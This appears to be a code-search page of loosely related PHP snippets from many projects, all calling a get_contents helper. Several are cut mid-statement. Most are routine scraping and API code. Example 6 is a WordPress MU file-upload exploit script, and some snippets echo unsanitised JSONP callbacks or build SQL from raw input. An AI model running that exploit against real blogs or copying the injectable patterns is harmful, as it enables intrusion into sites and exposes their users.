Exemplo n.º 1
0
function doSync($t_username, $s_email, $s_pwd, $apikey)
{
    $data_file = DIR_DATA . $t_username . '.data';
    // Anonymous calls are based on the IP of the host and are permitted 150 requests per hour.
    //      @see http://dev.twitter.com/pages/rate-limiting
    $t_url = sprintf('http://api.twitter.com/1/statuses/user_timeline.json?screen_name=%s&t=%s', $t_username, time());
    $new_rs = get_contents($t_url);
    $new_tweets = json_decode($new_rs, true);
    $new_tweets_arr = array();
    if (!empty($new_tweets)) {
        foreach ($new_tweets as $val) {
            $new_tweets_arr[$val['id_str']] = $val['text'];
        }
    }
    // 因为有150的查询限制,所以可能会出现查询出错的情况
    // @see https://github.com/feelinglucky/twitter2weibo/commit/86512602f2054d585ed872356078152c3afb58b2#twitter2weibo.php-P56
    if ($new_tweets['error'] || empty($new_tweets)) {
        log_data('[ERROR] fetch tweets failed from (' . $t_url . ')');
        if (function_exists('pcntl_fork')) {
            exit;
        }
        return FALSE;
    }
    log_data("fetch {$t_username}'s tweets is finished.");
    if (!file_exists($data_file) || !filesize($data_file)) {
        log_data("[NOTICE] {$t_username}'s data file not exists, nothing tobe done.");
        file_put_contents($data_file, serialize($new_tweets_arr));
    } else {
        $origin_tweets_arr = unserialize(file_get_contents($data_file));
        $tobe_sent_tweets = array_diff_assoc($new_tweets_arr, $origin_tweets_arr);
        ksort($tobe_sent_tweets);
        // 为了避免错误阻塞,立即写入到数据文件中
        file_put_contents($data_file, serialize($new_tweets_arr));
        if (sizeof($tobe_sent_tweets)) {
            log_data("received {$t_username}'s new " . sizeof($tobe_sent_tweets) . " tweets, sync them.");
            foreach ($tobe_sent_tweets as $key => $tweet) {
                // 剔除 Twitter 的回复贴,避免给新浪用户造成困扰
                if (!preg_match("/^@\\w+\\s+/i", $tweet)) {
                    if (send2weibo_via_login($s_email, $s_pwd, $tweet, $apikey) || send2weibo_via_apikey($s_email, $s_pwd, $tweet, $apikey)) {
                        log_data("sync tweets to sina which key is '" . $key . "' finished");
                    }
                    sleep(WEIBO_SEND_INTERVAL);
                }
            }
        } else {
            log_data("no new tweets received, do nothing.");
        }
    }
    if (function_exists('pcntl_fork')) {
        exit;
    }
}
Exemplo n.º 2
0
             $info = array('colors' => implode(",", $fcolors), 'big_image_url' => $json['resp']['posts'][$i]['snaps']['mega_url'], 'thumb_url' => $json['resp']['posts'][$i]['snaps']['keith_url'], 'photo_data' => $json['resp']['posts'][$i]);
             @array_push($photos['resp'], $info);
         }
     }
     if (count($photos) > 0) {
         if (isset($_GET['callback'])) {
             echo $_GET['callback'] . '(' . json_encode($photos) . ')';
         } else {
             if (!isset($_GET['callback'])) {
                 echo json_encode($photos);
             }
         }
     }
 } else {
     if ($service == "dribbble") {
         $response = get_contents("http://api.dribbble.com/shots/everyone");
         $dribbble = json_decode($response);
         $json = objectToArray($dribbble);
         $photos['hex'] = $_GET['hex'];
         $photos['status'] = 200;
         $photos['service'] = $service;
         $photos['shots'] = array();
         $group_limit = count($json['shots']);
         for ($i = 0; $i < $group_limit; $i++) {
             $ex = new GetMostCommonColors();
             $ex->image = $json['shots'][$i]['image_url'];
             $colors = $ex->Get_Color();
             $how_many = 12;
             $colors = array_keys($colors);
             $fcolors = array();
             for ($it = 0; $it < $limit; $it++) {
Exemplo n.º 3
0
function get_contents($file)
{
    // Leerer Inhalt als Default
    $content = '';
    // Erster Versuch: Datei "normal" oeffnen
    $fh = fopen($file, 'rb');
    if ($fh) {
        // Funktioniert: Datei einlesen
        if (!is_url($file)) {
            // Lokal ...
            $content = fread($fh, filesize($file));
        } else {
            // ... bzw. uebers Netz
            while (!feof($fh)) {
                $content .= fread($fh, 2048);
            }
        }
        fclose($fh);
    } elseif (is_url($file, 'http')) {
        // Funktioniert nicht und Datei ist eine HTTP-Resource (externer Zugriff wurde ggf. verhindert)
        // User & Passwort extrahieren
        $userpass = get_url_userpass($file);
        if ($userpass) {
            $file = str_replace($userpass . '@', '', $file);
        }
        if (function_exists('curl_init')) {
            // Alternativversuch mittels cURL-Lib (PHP >= 4.0.2)
            $ch = curl_init($file);
            if ($ch) {
                curl_setopt($ch, CURLOPT_HEADER, FALSE);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
                curl_setopt($ch, CURLOPT_FORBID_REUSE, TRUE);
                curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
                curl_setopt($ch, CURLOPT_FAILONERROR, TRUE);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
                curl_setopt($ch, CURLOPT_BINARYTRANSFER, TRUE);
                if ($userpass) {
                    curl_setopt($ch, CURLOPT_USERPWD, $userpass);
                    if (substr($file, 0, 4) == 'http') {
                        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
                    }
                }
                $content = curl_exec($ch);
                curl_close($ch);
            }
        } else {
            // Alternativversuch mittels socket connection (PHP < 4.0.2)
            $host = get_url_hostname($file);
            $port = get_url_port($file);
            $sh = fsockopen($host, $port);
            if ($sh) {
                $request = 'GET ' . get_url_filename($file, TRUE) . ' HTTP/1.0' . "\r\n";
                $request .= 'Accept: */*' . "\r\n";
                $request .= 'Host: ' . $host . ':' . $port . "\r\n";
                if ($userpass) {
                    $request .= 'Authorization: Basic ' . base64_encode($userpass) . "\r\n";
                }
                $request .= 'Connection: Close' . "\r\n";
                $request .= "\r\n";
                fputs($sh, $request);
                while (!feof($sh)) {
                    $content .= fread($sh, 2048);
                }
                fclose($sh);
                $header = substr($content, 0, strpos($content, "\r\n\r\n"));
                $redirect = strpos($header, 'Location:');
                if ($redirect !== FALSE) {
                    // Seitenweiterleitung, also neuer URL
                    $redirect = trim(substr($header, $redirect + 9, strpos($header, "\r\n", $redirect) + 2 - ($redirect + 9)));
                    $content = is_url($redirect) ? get_contents($redirect) : '';
                } else {
                    // Header abschneiden
                    $content = substr($content, strpos($content, "\r\n\r\n") + 4);
                }
            }
        }
    }
    return $content;
}
Exemplo n.º 4
0
function get_member_info()
{
    $info_str = milu_lang('member_field_str');
    $url = format_url($_GET['url']);
    $test_uid = intval(format_url($_GET['test_uid']));
    $uid_range = $test_uid ? $test_uid : format_url($_GET['uid_range']);
    $login_cookie = format_cookie($_GET['login_cookie']);
    $uid_arr = get_data_range($uid_range);
    $arr = get_user_url_arr($url, $uid_arr['list']);
    $test_url = $arr[0]['url'];
    if (!$test_url) {
        show_pick_window(milu_lang('get_link_list_test'), milu_lang('no_set_uidurl'), array('w' => 620, 'h' => '400', 'f' => 1));
    }
    $content = get_contents($test_url, array('cookie' => $login_cookie));
    if ($content == -1) {
        show_pick_window(milu_lang('get_link_list_test'), milu_lang('check_user_url'), array('w' => 620, 'h' => '400', 'f' => 1));
    }
    $info_arr = dom_get_manytext($content, 'div#ct div.mn li');
    //获取用户名
    preg_match_all('/<title>(.*)' . milu_lang('the_user_info') . '/i', $content, $matchs);
    $re_arr[milu_lang('user_name')] = $matchs[1][0];
    if (!$info_arr) {
        show_pick_window(milu_lang('get_link_list_test'), milu_lang('pick_must_set_cookie'), array('w' => 620, 'h' => '400', 'f' => 1));
    }
    $info_field_arr = explode('|', $info_str);
    $i = 0;
    foreach ((array) $info_arr as $k => $v) {
        foreach ($info_field_arr as $k2 => $v2) {
            $v2_arr = format_wrap($v2, '@@');
            $v2 = $v2_arr[1];
            if (strexists($v, $v2)) {
                $value = str_replace('<em>' . $v2 . '</em>', '', $v);
                if (strexists($v2, 'IP')) {
                    $value = str_replace(' -', '', $value);
                }
                $re_arr[$v2] = trim($value);
            }
        }
    }
    $output .= '<p>' . milu_lang('the_test_url') . ' : <a target="_brank" href="' . $test_url . '">' . $test_url . '</a></p></br>';
    $output .= '<table class="tb tb2">';
    foreach ((array) $re_arr as $k => $v) {
        $output .= '<tr><td>' . $k . ' : </td><td>' . $v . '</td></tr>';
    }
    $output .= '</table>';
    show_pick_window(milu_lang('get_link_list_test'), $output, array('w' => 620, 'h' => '400', 'f' => 1));
}
Exemplo n.º 5
0
function fast_pick()
{
    global $_G;
    d_s('f_g');
    d_s('g_t');
    pload('F:spider');
    $url = $_GET['url'];
    $content = get_contents($url, array('cache' => -1));
    $get_time = d_e(0, 'g_t');
    $type = $_GET['type'] ? $_GET['type'] : 'bbs';
    $milu_set = pick_common_get();
    $data = (array) get_single_article($content, $url);
    if ($milu_set['fp_word_replace_open'] == 1 && !VIP) {
        //开启同义词替换
        $words = get_replace_words();
        if ($data['title']) {
            $data['title'] = strtr($data['title'], $words);
        }
        if ($data['content']) {
            $data['content'] = strtr($data['content'], $words);
        }
    }
    if ($milu_set['fp_article_from'] == 1) {
        //开启来源
        $data['fromurl'] = $url;
        if ($type == 'bbs' && $data['content']) {
            $data['content'] .= "[p=30, 2, left]" . milu_lang('article_from') . ':' . $url . "[/p]";
        }
    }
    $data['get_text_time'] = $get_time;
    $data['all_get_time'] = d_e(0, 'f_g');
    $data = $data ? $data : array();
    $data = js_base64_encode($data);
    $re = json_encode($data);
    return $re;
}
Exemplo n.º 6
0
$pass = '******';
$blog_url = 'http://localhost.localdomain/mu/';
$remote_file = '';
// relative path to wp-content
$local_file = '';
// the contents of this file, if any, will be uploaded
$snoopy = new SnoopyExt();
$snoopy->maxredirs = 0;
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass));
$snoopy->setcookies();
// Set auth cookies for future requests
if (empty($remote_file)) {
    // Upload a new file
    $snoopy->_submit_type = 'image/gif';
    $snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents());
    if (preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match)) {
        $remote_file = basename($match[1]);
    }
}
if (empty($remote_file)) {
    die('Exploit failed...');
}
// Look for real path
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");
if (preg_match("#<wp:meta_value>(.*{$remote_file})</wp:meta_value>#", $snoopy->results, $match)) {
    $remote_file = preg_replace('#.*?wp-content#', '', $match[1]);
}
if (empty($remote_file)) {
    die('Exploit failed...');
}
Exemplo n.º 7
0
         $_GET[substr($key, 4)] = $value;
         unset($_GET[$key]);
     }
 }
 $url = urldecode($_GET['url']);
 $rot13 = isset($_GET['rot13']);
 $noimg = isset($_GET['noimg']);
 $nojs = isset($_GET['nojs']);
 $base64 = isset($_GET['base64']);
 if ($rot13) {
     $url = str_rot13($url);
 }
 if ($base64) {
     $url = base64_decode($url);
 }
 if ($result = get_contents($url, true)) {
     $data = $result[0];
     $info = $result[1];
     $url = $info['url'];
     $parse = parse_url($url);
     if (isset($info['content_type']) && empty($info['content_type']) === false) {
         header('Content-type: ' . $info['content_type']);
         if (isset($info['original_headers']['Content-Encoding'])) {
             header('Content-Encoding: ' . $info['original_headers']['Content-Encoding']);
         }
         if (substr($info['content_type'], 0, 5) != 'text/') {
             $file_name = basename($info['url']);
             if (($pos = strpos($file_name, '?')) !== false) {
                 $file_name = substr($file_name, 0, $pos);
             }
             header('Content-Disposition: attachment; filename="' . $file_name . '"');
Exemplo n.º 8
0
 /**
  * Get json from an url
  *
  * @param $url
  * @param array $headers
  *
  * @return mixed
  */
 function get_json($url, $headers = [])
 {
     $content = get_contents($url, array_merge(['Content-Type: application/json'], $headers));
     return json_decode($content, true);
 }
Exemplo n.º 9
0
/**
 * Function getYouTube
 * @param $id
 * @param string $part
 * @return mixed
 */
function getYouTube($id, $part = 'snippet,contentDetails,statistics,status')
{
    $url = 'https://www.googleapis.com/youtube/v3/videos?id=' . $id . '&key=' . YOUTUBE_DEVELOPER_KEY . '&part=' . $part;
    $result = get_contents($url);
    return json_decode($result);
}
Exemplo n.º 10
0
    $query = "INSERT INTO `configs` (`id`, `text`) VALUES ('{$id}', '{$config_text}')";
    if ($result = $mysqli->query($query)) {
        $return['msg'] = "Новая конфигурация успешно создана";
    } else {
        $return['msg'] = "При создании новой конфигурации возникла ошибка";
    }
    return $return;
}
/*--------- Тело программы ---------*/
// Возвращаемый текст
$return = null;
// Определим что от нас требуется
switch ($_POST['ACT']) {
    // Получает таблицу оглавления
    case "contents":
        $return = get_contents($mysqli, null);
        break;
        // Читает конфиг
    // Читает конфиг
    case "read":
        $return = read_config($mysqli, $_POST['CONF']);
        break;
        // Читает конфиг
    // Читает конфиг
    case "activate":
        $return = activate_config($mysqli, $_POST['CONF']);
        break;
        // Удаляет конфиг
    // Удаляет конфиг
    case "remove":
        $return = remove_config($mysqli, $_POST['CONF']);
Exemplo n.º 11
0
 ob_start();
 $tpl->display(DESIGN . '/tpl/admin/navi.html');
 $content = ob_get_contents();
 ob_end_clean();
 main_content(ADMIN_MENU, $content, '', 1);
 if (isset($_GET['site'])) {
     preg_match('/\\w+/', $_GET['site'], $erg);
     if (file_exists('admin/' . $erg[0] . '.php')) {
         include 'admin/' . $erg[0] . '.php';
     } else {
         table(ERROR, SITE_NOT_EXSISTS);
     }
 } else {
     $tpl = new smarty();
     ob_start();
     $json = @get_contents('http://www.easy-clanpage.de/version_check.php');
     if ($json) {
         $json = json_decode($json, true);
         $tpl->assign('online', $json['version']);
         if ($json['version'] != VERSION) {
             $tpl->assign('version_color', 'version_old');
         } else {
             $tpl->assign('version_color', 'version_new');
         }
         foreach ($json['news'] as $key => $value) {
             $json['news'][$key]['date'] = date(LONG_DATE, $value['date']);
         }
         $tpl->assign('news', $json['news']);
         $tpl->display(DESIGN . '/tpl/admin/admin_start.html');
         $content = ob_get_contents();
     } else {
Exemplo n.º 12
0
 private function save_fetch_file($url, $date_dir, $file_name, $is_cover = false)
 {
     $content = get_contents($url);
     $file_path = APP_PATH . $date_dir . $file_name . '.jpg';
     if (!empty($content) && @file_put_contents($file_path, $content) > 0) {
         $imagelib = spClass('ImageLib');
         $imagelib->create_thumb($file_path, 'large', 600);
         $imagelib->crop_square($file_path, 200, 'square_like');
         if ($is_cover) {
             $pin_width = $this->settings['ui_pin']['pin_imagewidth'] ? $this->settings['ui_pin']['pin_imagewidth'] : 200;
             $imagelib->create_thumb($file_path, 'middle', $pin_width);
             $imagelib->create_thumb($file_path, 'small', 150);
             $imagelib->crop_square($file_path, 62);
         }
         file_exists($file_path) && unlink($file_path);
         return true;
     }
 }
Exemplo n.º 13
0
         $in_array = @array_search($_GET['hex'], $colors);
         #$photo_array['items'][$i]
         if ($in_array) {
             $info = array('colors' => implode(",", $fcolors), 'big_image_url' => str_replace('_m', '', $photo_array['items'][$i]['media']['m']), 'thumb_image_url' => $photo_array['items'][$i]['media']['m'], 'date_taken_sql' => strftime("%G-%m-%d %H:%m:%S", strtotime($photo_array['items'][$i]['date_taken'])), 'photo_data' => $photo_array['items'][$i]);
             unset($photo_array['items'][$i]['media']);
             array_push($photos['resp'], $info);
         }
     }
     if (count($photos) > 2 && !empty($photos['resp'])) {
         echo json_encode($photos);
     } else {
         echo json_encode(array('hex' => $_GET['hex'], 'err' => array('code' => 500, 'msg' => 'no search results')));
     }
 } else {
     if ($service == "forrst") {
         $response = get_contents("https://forrst.com/api/v2/posts/list?post_type=snap");
         $forrst = json_decode($response);
         $json = objectToArray($forrst);
         $photos['hex'] = $_GET['hex'];
         $photos['status'] = 200;
         $photos['service'] = $service;
         $photos['resp'] = array();
         for ($i = 0; $i < count($json['resp']['posts']); $i++) {
             $ex = new GetMostCommonColors();
             $ex->image = $json['resp']['posts'][$i]['snaps']['mega_url'];
             $colors = $ex->Get_Color();
             $how_many = 12;
             $colors = array_keys($colors);
             $fcolors = array();
             for ($it = 0; $it < $limit; $it++) {
                 @array_push($fcolors, $colors[$it]);
Exemplo n.º 14
0
        $WPUrl = $Matches[1][0];
        $WPTitle = $Matches[2][0];
    }
} else {
    $WPUrl = $Matches[1][0];
    $WPTitle = $Matches[2][0];
}
// Not a valid wikipedia URL?
if (!preg_match("/\\/wiki\\/.+/i", $WPUrl)) {
    die("Page not found");
}
//$UrlizedTitle = urlencode(str_replace(" ","_", $Title));
if (!preg_match("/{$Title}/i", $Title, $Matches)) {
    die("Title not found in URL");
}
$Page = get_contents("http://en.m.wikipedia.org{$WPUrl}");
$PageExp = explode("\n", $Page);
// Sort of dirty, but let's play ball
$Keys = array_find('<th scope="row" style="text-align:left;"><a href="/wiki/Music_genre" title="Music genre">Genre</a></th>', $PageExp);
preg_match("/>(.*?)<\\/td>/i", $PageExp[$Keys + 1], $Tags);
$Tags = explode(", ", $Tags[1]);
$Tags = preg_replace("/<sup.+<\\/sup>/", "", $Tags);
$Tags = preg_replace("/<a href=\".+\" title=\".+\">(.*?)<\\/a>/i", "\$1", $Tags);
$Tags = array_map('format', $Tags);
$Keys2 = array_find('<th scope="row" style="text-align:left;">Released</th>', $PageExp);
if (!preg_match("/>.+ (\\d{4})/i", $PageExp[$Keys2 + 1], $Year)) {
    preg_match("/>(\\d{4})/i", $PageExp[$Keys2 + 1], $Year);
}
$Year = $Year[1];
// Get full image link (hax, sorta)
preg_match_all("%<img .+ src=\"(.*?)\"%i", $Page, $PageImages);
Exemplo n.º 15
0
}
$ip = GetIP();
// if($config['openreg']!==2){
// _location("reg.php",301);
// exit;
// }
if ($config['openreg'] == 0) {
    echo "<script>alert('注册关闭,请联系我们');location.href='reg.php'</script>";
    exit;
}
//获取wgateid
$wgateid = guolv($_GET['wgateid']);
$verify = guolv($_GET['verify']);
if ($wgateid !== '' && $verify !== '') {
    //验证
    $res = get_contents("http://www.weixingate.com/verify.php?wgateid={$wgateid}&verify={$verify}");
    if ($res == 'false') {
        //验证失败返回手机注册
        _location("reg.php", 301);
        exit;
    }
}
//注册
$tj_id = 0;
//推荐人
$row = $mysql->query("select * from `userdata` where `wgateid`='{$wgateid}' limit 1");
if (!$row) {
    $arr = array('tj_id' => $tj_id, 'phone' => '', 'pass' => '123456', 'money' => $song, 'wx' => '', 'realname' => '', 'alipay' => '', 'wgateid' => $wgateid, 'ip' => $ip, 'kou' => 100, 'day' => date("Y-m-d", time()), 'time' => time());
    $value = arr2s($arr);
    $mysql->query("insert into `userdata` {$value}");
    $id = mysql_insert_id();
Exemplo n.º 16
0
function pick_download()
{
    $client_info = get_client_info();
    $version_md5total = $_GET['md5_total'];
    $new_version_md5total = $_GET['new_md5_total'];
    $key = $_GET['key'];
    $version = $_GET['version'];
    $version_dateline = $_GET['version_dateline'];
    $i = intval($_GET['i']);
    if (!$client_info) {
        cpmsg_error(milu_lang('lan_upgrage'));
    }
    $p = intval($_GET['p']);
    $count = $_GET['count'];
    $file_md5 = $_GET['file_md5'];
    $tmpdir = DISCUZ_ROOT . './data/download/dxc_temp';
    pload('C:cache');
    $md5s = array();
    $str = $_SERVER['QUERY_STRING'];
    if ($p == 0) {
        dir_clear($tmpdir);
        dmkdir($tmpdir, 0777, false);
        cpmsg(milu_lang('diff_upgrade_file'), PICK_GO . 'pick_info&ac=pick_download&key=' . $key . '&p=1', 'loading', '', false);
    } else {
        if ($p == 1) {
            $url = GET_URL . 'plugin.php?id=pick_user:upgrade&myac=download_file&php_version=' . phpversion() . '&tpl=no&domain=' . urlencode($client_info['domain']) . '&key=' . $key . '&file_md5=' . $file_md5;
            $data = get_contents($url, array('cache' => -1));
            if (!$data || $data == '-1') {
                cpmsg_error(milu_lang('no_normal_get'));
            }
            $msg_arr = (array) json_decode(base64_decode($data));
            if (!$_GET['file_md5']) {
                $download_file_data = upgrade_file_diff($msg_arr['md5']);
                $md5_temp_arr = array_keys($download_file_data);
                $version_md5total = md5(implode('', $md5_temp_arr));
                $count = count($download_file_data);
                $version = $version ? $version : $msg_arr['Version'];
                $version_dateline = $version_dateline ? $version_dateline : $msg_arr['version_dateline'];
            } else {
                $download_file_data = load_cache('download_file_data');
                $filename = $tmpdir . '/' . $msg_arr['file'] . '._addons_';
                $dirname = dirname($filename);
                dmkdir($dirname, 0777, false);
                $fp = fopen($filename, 'w');
                if (!$fp) {
                    cpmsg('cloudaddons_download_write_error', '', 'error');
                }
                fwrite($fp, gzuncompress(base64_decode($msg_arr['text'])));
                fclose($fp);
                if ($msg_arr['MD5']) {
                    $new_version_md5total .= $msg_arr['MD5'];
                    if ($msg_arr['MD5'] != md5_file($filename)) {
                        dir_clear($tmpdir);
                        cpmsg(milu_lang('cloudaddons_download_error'), '', 'error');
                        //数据下载错误
                    }
                }
            }
            $file_md5_arr = array_keys($download_file_data);
            $file_md5 = $file_md5_arr[$i];
            $file = $download_file_data[$file_md5];
            $p = $i == $count ? 2 : 1;
            $percent = $i / $count;
            $percent = sprintf("%01.0f", $percent * 100) . '%';
            cache_data('download_file_data', $download_file_data);
            cpmsg(milu_lang('pick_upgrade_downloading_file', array('file' => $file, 'percent' => $percent)), PICK_GO . 'pick_info&ac=pick_download&i=' . ($i + 1) . '&md5_total=' . $version_md5total . '&new_md5_total=' . $new_version_md5total . '&key=' . $key . '&p=' . $p . '&version=' . $version . '&version_dateline=' . $version_dateline . '&count=' . $count . '&file_md5=' . $file_md5, 'loading', '', false);
        } else {
            if ($p == 2) {
                if ($new_version_md5total !== '' && md5($new_version_md5total) !== $version_md5total) {
                    dir_clear($tmpdir);
                    cpmsg(milu_lang('cloudaddons_download_error'), '', 'error');
                    //数据下载错误
                }
                cpmsg(milu_lang('DXC_installing'), PICK_GO . 'pick_info&ac=pick_install&version=' . $version . '&version_dateline=' . $version_dateline, 'loading', '', false);
            }
        }
    }
}
 DB::insert("pdnovel_chapter", $chapter_data);
 $chapterid = DB::insert_id();
 $content = function_extent('imgstart', $content);
 if ($pdmodule['icollect'] == 1) {
     $content = get_img($content, $url);
 }
 if ($pdmodule['localimg'] == 1) {
     $imgay = get_matchall("[img]*[/img][m]U", $content);
     foreach ($imgay as $ik => $var) {
         DB::insert("pdnovel_image", array("novelid" => $novelid, "chapterid" => $chapterid));
         $imgid = DB::insert_id();
         $subimgid = floor($imgid / 1000);
         $subsubimgid = floor($subimgid / 1000);
         $imgpath = "data/attachment/pdnovel/img/" . $novelid . "/" . $subsubimgid . "/" . $subimgid . "/" . $imgid . ".jpg";
         dmkdir(dirname($imgpath));
         $data = get_contents($var[0], '', 1);
         file_put_contents($imgpath, $data);
         $content = str_replace("[img]" . $var[0] . "[/img]", "[img]" . $imgpath . "[/img]", $content);
         echo '<p>      &Iacute;¨º&sup3;&Eacute;&micro;&Uacute;' . ($ik + 1) . '&cedil;&ouml;&Iacute;&frac14;&AElig;&not;&sup2;&Eacute;&frac14;&macr;</p>';
         ob_flush();
         flush();
     }
 }
 $content = get_txtvar($content);
 $content = get_jsvar($content);
 $content .= $pdnovel['addcontents'];
 $subchapterid = floor($chapterid / 1000);
 $subsubchapterid = floor($subchapterid / 1000);
 $content = function_extent('writestart', $content);
 dmkdir($chapterpath . $subsubchapterid . "/" . $subchapterid);
 $chaptercontent = $subsubchapterid . "/" . $subchapterid . "/" . $chapterid . "-" . rand(100, 999) . ".txt";
Exemplo n.º 18
0
// Your Image-Link (e.g. http://prntscr.com/xyz123)
// Caching
header('Pragma: public');
header('Cache-Control: max-age=86400');
header('Expires: ' . gmdate('D, d M Y H:i:s \\G\\M\\T', time() + 86400));
// Image type
header('Content-Type: image/png');
if (strpos($file, 'prntscr') !== false) {
    $newprntscrlink = explode('http://prntscr.com/', $file);
    $newprntscrlink = $newprntscrlink[1];
    $content = get_contents('http://prnt.sc/' . $newprntscrlink);
    $image = get_string_between($content, '<meta name="twitter:image:src" content="', '"/> <meta property="');
    $filecontent = file_get_contents($image);
    echo $filecontent;
} elseif (strpos($file, 'directupload') !== false) {
    $content = get_contents($file);
    $directuploadhotlink = get_string_between($content, 'id="hotlink" value="', '" onClick="this.select()">');
    $filecontent = file_get_contents($directuploadhotlink);
    echo $filecontent;
} elseif (strpos($file, 'screencloud.net/v/') !== false) {
    $content = file_get_contents($file);
    $screencloudsourcelink = get_string_between($content, 'png"><img src="', '" alt="Screenshot at');
    $screencloudhotlink = str_replace('//', 'https://', $screencloudsourcelink);
    $filecontent = file_get_contents($screencloudhotlink);
    echo $filecontent;
} elseif (strpos($file, 'gyazo.com') !== false) {
    $content = file_get_contents($file);
    $gyazohotlink = get_string_between($content, '"gyazo"><img class="image" id="gyazo_img" src="', '" style=" ');
    $filecontent = file_get_contents($gyazohotlink);
    echo $filecontent;
} elseif (strpos($file, 'mediafire.com') !== false) {
<?php

if (!defined('IN_DISCUZ') || !defined('IN_ADMINCP')) {
    exit('Access Denied');
}
@(include_once DISCUZ_ROOT . './data/attachment/pdnovel/collect/pdnovel_key.php');
$checkhost = parse_url($_G['siteurl']);
$checkdomain = strtolower(matchdomain($checkhost['host']));
$checkstr = substr(md5($checkdomain . 'checkpdkey2you7'), 8, 16);
$keydomain = array('http://huan.poudu.net/pdgetkey.php?mod=pdnovel&domain=' . $checkdomain . '&check=' . $checkstr, 'http://www.huiwei100.com/pdgetkey.php?mod=pdnovel&domain=' . $checkdomain . '&check=' . $checkstr, 'http://www.cxapp.com/pdgetkey.php?mod=pdnovel&domain=' . $checkdomain . '&check=' . $checkstr);
if (!DOMAIN || strlen($temp = get_contents($keydomain[DOMAIN])) != 32) {
    foreach ($keydomain as $k => $v) {
        $temp = get_contents($v);
        if (strlen($temp) == 32) {
            $result = @file_put_contents('data/attachment/pdnovel/collect/pdnovel_key.php', '<?php' . "\r\ndefine('PDNOVEL_KEY', '" . $temp . "');\r\ndefine('DOMAIN','" . $k . "');\r\n?>");
            break;
        }
    }
}
if ($temp != md5('doItwell' . $checkdomain . 'Author:Ludonghai')) {
    cpmsg('pdnovel_index_keyerror', 'action=pdnovel&operation=index', 'error');
}
$key = substr(md5($temp), 4, 8);
if ($do == 'show') {
    shownav('pdnovel', 'pdnovel_batchcollect');
    echo "<form name=\"cpform\" method=\"post\" autocomplete=\"off\" action=\"pdnovel.php?mod=batch&do=pcollect&key={$key}\" id=\"cpform\" ><table class=\"tb tb2 \">\r\n        ";
    showtableheader();
    showtitle("pdnovel_collect_page");
    $optselect = "<select name=\"siteid\">";
    $query = DB::query("SELECT * FROM " . DB::table("pdnovel_collect") . " WHERE enable=1 ORDER BY displayorder");
    while ($pdnovelcollect = DB::fetch($query)) {
Exemplo n.º 20
0
        return false;
    }
}
$q = $_GET['keyword'];
if (!is_utf8($q)) {
    $q = iconv("gb2312", "utf-8", $q);
}
if ($_SERVER['HTTP_HOST']) {
    $s = urlencode($q);
    $url = "http://www.soku.com/v?" . $_SERVER['QUERY_STRING'];
    $start = '<div class="result">';
    $end = '<!--result end-->';
    $Somao_xg_start = '<div class="statinfo">';
    $Somao_xg_end = '<div class="selector">';
    if ($getcode == '1') {
        $temp = get_contents($url, false);
    } else {
        $temp = file_get_contents($url, false);
    }
    $Somao_xg = intercept_str($temp, $Somao_xg_start, $Somao_xg_end, 1);
    $content = intercept_str($temp, $start, $end, 2);
    $content = str_replace("/v?keyword", "./?keyword", $content);
    if (strlen($content) < 1) {
        $content = '<div style="text-align:center;margin:20px;height:300px;">抱歉,搜索“<font color=red>' . $q . '</font>”失败,查询超时或者没有相关内容,<br/><br/>请<a href="#" onClick="window.location.reload()" style="text-decoration:none"><font color=red>【刷新】</font></a>试试,<br><br>或者更换关键字重新搜索。</div>';
    }
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
Exemplo n.º 21
0
function pick_match_rules()
{
    $url = format_url($_GET['url']);
    d_s();
    $content = get_contents($url);
    $v = match_rules($url, $content, 2, 0);
    if (!$v || !is_array($v)) {
        $v = pick_match_coloud_rules($url);
        if ($v['data_type'] == 1) {
            pload('F:rules');
            $v = $v['data'];
            rules_add($v);
            del_search_index(2);
        }
    }
    if (!$v || !is_array($v)) {
        return 'no';
    }
    $re_arr = array($v['rules_type'], $v['rules_hash']);
    return json_encode($re_arr);
}
Exemplo n.º 22
0
$resultvars = array();
$loop = null;
if (!isset($_SESSION["ephpuser"])) {
    $errors[] = "Not logged in.";
} elseif (($fileinfo = get_php_file($target, $config["ephproot"])) == null) {
    $errors[] = "Can only read from ephp-designated directories.";
} else {
    list($expectedUsername, $targetfile) = $fileinfo;
    $vars = new InputVars($get, $post);
    if ($expectedUsername != $_SESSION["ephpuser"]) {
        $errors[] = "Cannot read another user's files.";
        $httpCode = 400;
    } else {
        $execurl = "{$target}?" . http_build_query($get);
        $url = "http://" . $_SERVER["SERVER_NAME"] . "/{$execurl}";
        if (($script_result = @get_contents($url, $_SERVER["REQUEST_METHOD"], $post)) === false) {
            $errors[] = "HTTP request for file on server failed.";
        } elseif (preg_match("/<b>Parse error<\\/b>:  syntax error, (.*) in .* on line <b>(\\d+)<\\/b>/", $script_result["content"], $matches)) {
            $errors[] = array("syntaxError" => array("reason" => $matches[1], "lineNumber" => $matches[2]));
            $httpCode = 200;
            // still made successful request
        } elseif ($script_result["status"]["code"] == 200) {
            if (($target_contents = @file_get_contents($targetfile)) === false) {
                $errors[] = "Cannot open specified PHP file on server {$targetfile}.";
                $httpCode = 404;
            } else {
                $tok = new TokenReader($target_contents);
                $execurl = "{$target}?" . http_build_query($get);
                $url = "http://" . $_SERVER["SERVER_NAME"] . "/{$execurl}";
                $pdovar = null;
                $queries = array();
Exemplo n.º 23
0
    //多文件
    $_tmp = explode(',', $split_a[1]);
    foreach ($_tmp as $v) {
        $files[] = $CDN . $v;
    }
} else {
    //单文件
    $files[] = $CDN . $split_a[1];
}
//// 得到拼接文件的Last-Modified时间
foreach ($files as $k) {
    if (file_exists($k)) {
        $filemtime = filemtime($k);
        if ($filemtime && $filemtime > $last_modified_time) {
            $last_modified_time = $filemtime;
        }
    }
}
foreach ($files as $k) {
    if (empty($type)) {
        $type = get_extend($k);
    }
    //	echo $k;
